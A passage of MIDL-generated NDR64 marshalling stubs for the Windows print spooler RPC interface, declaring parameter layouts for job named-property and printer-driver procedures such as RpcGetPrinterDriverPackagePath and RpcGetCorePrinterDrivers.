         0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1082_t __midl_frag1082 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag1081_t __midl_frag1081 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag1080_t __midl_frag1080 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag1079_t __midl_frag1079 =\n{ \n/* Proc114 */\n    { \n    /* Proc114 */      /* procedure Proc114 */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag1080,\n        { \n        /* arg_0 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag1082,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1076_t __midl_frag1076 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1082\n};\n\nstatic const __midl_frag1072_t __midl_frag1072 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag1071_t __midl_frag1071 =\n{ \n/* RpcEnumJobNamedProperties */\n    { \n    /* RpcEnumJobNamedProperties */      /* procedure RpcEnumJobNamedProperties */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pcProperties */      /* parameter pcProperties */\n        &__midl_frag1082,\n        { \n        /* pcProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppProperties */      /* parameter ppProperties */\n        &__midl_frag1082,\n        { \n        /* ppProperties */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1068_t __midl_frag1068 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1081\n};\n\nstatic const __midl_frag1065_t __midl_frag1065 =\n{ \n/* RpcDeleteJobNamedProperty */\n    { \n    /* RpcDeleteJobNamedProperty */      /* procedure RpcDeleteJobNamedProperty */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1081,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1060_t __midl_frag1060 =\n{ \n/* RpcSetJobNamedProperty */\n    { \n    /* RpcSetJobNamedProperty */      /* procedure RpcSetJobNamedProperty */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pProperty */      /* parameter pProperty */\n        &__midl_frag1082,\n        { \n        /* pProperty */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1052_t __midl_frag1052 =\n{ \n/* RpcGetJobNamedPropertyValue */\n    { \n    /* RpcGetJobNamedPropertyValue */      /* procedure RpcGetJobNamedPropertyValue */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag1082,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszName */      /* parameter pszName */\n        &__midl_frag1081,\n        { \n        /* pszName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pValue */      /* parameter pValue */\n        &__midl_frag1082,\n        { \n        /* pValue */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1051_t __midl_frag1051 =\n{ \n/* Opnum109NotUsedOnWire */\n    { \n    /* Opnum109NotUsedOnWire */      /* procedure Opnum109NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag1042_t __midl_frag1042 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag1041_t __midl_frag1041 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1040_t __midl_frag1040 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1041\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1039_t __midl_frag1039 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1040\n};\n\nstatic const __midl_frag1030_t __midl_frag1030 =\n{ \n/* RpcGetPrinterDriverPackagePath */\n    { \n    /* RpcGetPrinterDriverPackagePath */      /* procedure RpcGetPrinterDriverPackagePath */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1080,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1081,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszLanguage */      /* parameter pszLanguage */\n        &__midl_frag1080,\n        { \n        /* pszLanguage */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszPackageID */      /* parameter pszPackageID */\n        &__midl_frag1081,\n        { \n        /* pszPackageID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverPackageCab */      /* parameter pszDriverPackageCab */\n        &__midl_frag1039,\n        { \n        /* pszDriverPackageCab */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cchDriverPackageCab */      /* parameter cchDriverPackageCab */\n        &__midl_frag1082,\n        { \n        /* cchDriverPackageCab */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcchRequiredSize */      /* parameter pcchRequiredSize */\n        &__midl_frag1082,\n        { \n        /* pcchRequiredSize */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1082,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1023_t __midl_frag1023 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag1022_t __midl_frag1022 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1023\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag1021_t __midl_frag1021 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1022\n};\n\nstatic const __midl_frag1015_t __midl_frag1015 =\n{ \n/* RpcGetCorePrinterDrivers */\n    { \n    /* RpcGetCorePrinterDrivers */      /* procedure RpcGetCorePrinterDrivers */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1080,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1081,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cchCoreDrivers */      /* parameter cchCoreDrivers */\n        &__midl_frag1082,\n        { \n        /* cchCoreDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszzCoreDriverDependencies */      /* parameter pszzCoreDriverDependencies */\n        &__midl_frag1022,\n        { \n        /* pszzCoreDriverDependencies */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cCorePrinterDrivers */      /* parameter cCorePrinterDrivers */\n        &__midl_frag1082,\n        { \n        /* cCorePrinterDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pCorePrinterDrivers */      /* parameter pCorePrinterDrivers */\n        &__midl_frag1082,\n        { \n        /* pCorePrinterDrivers */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1082,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 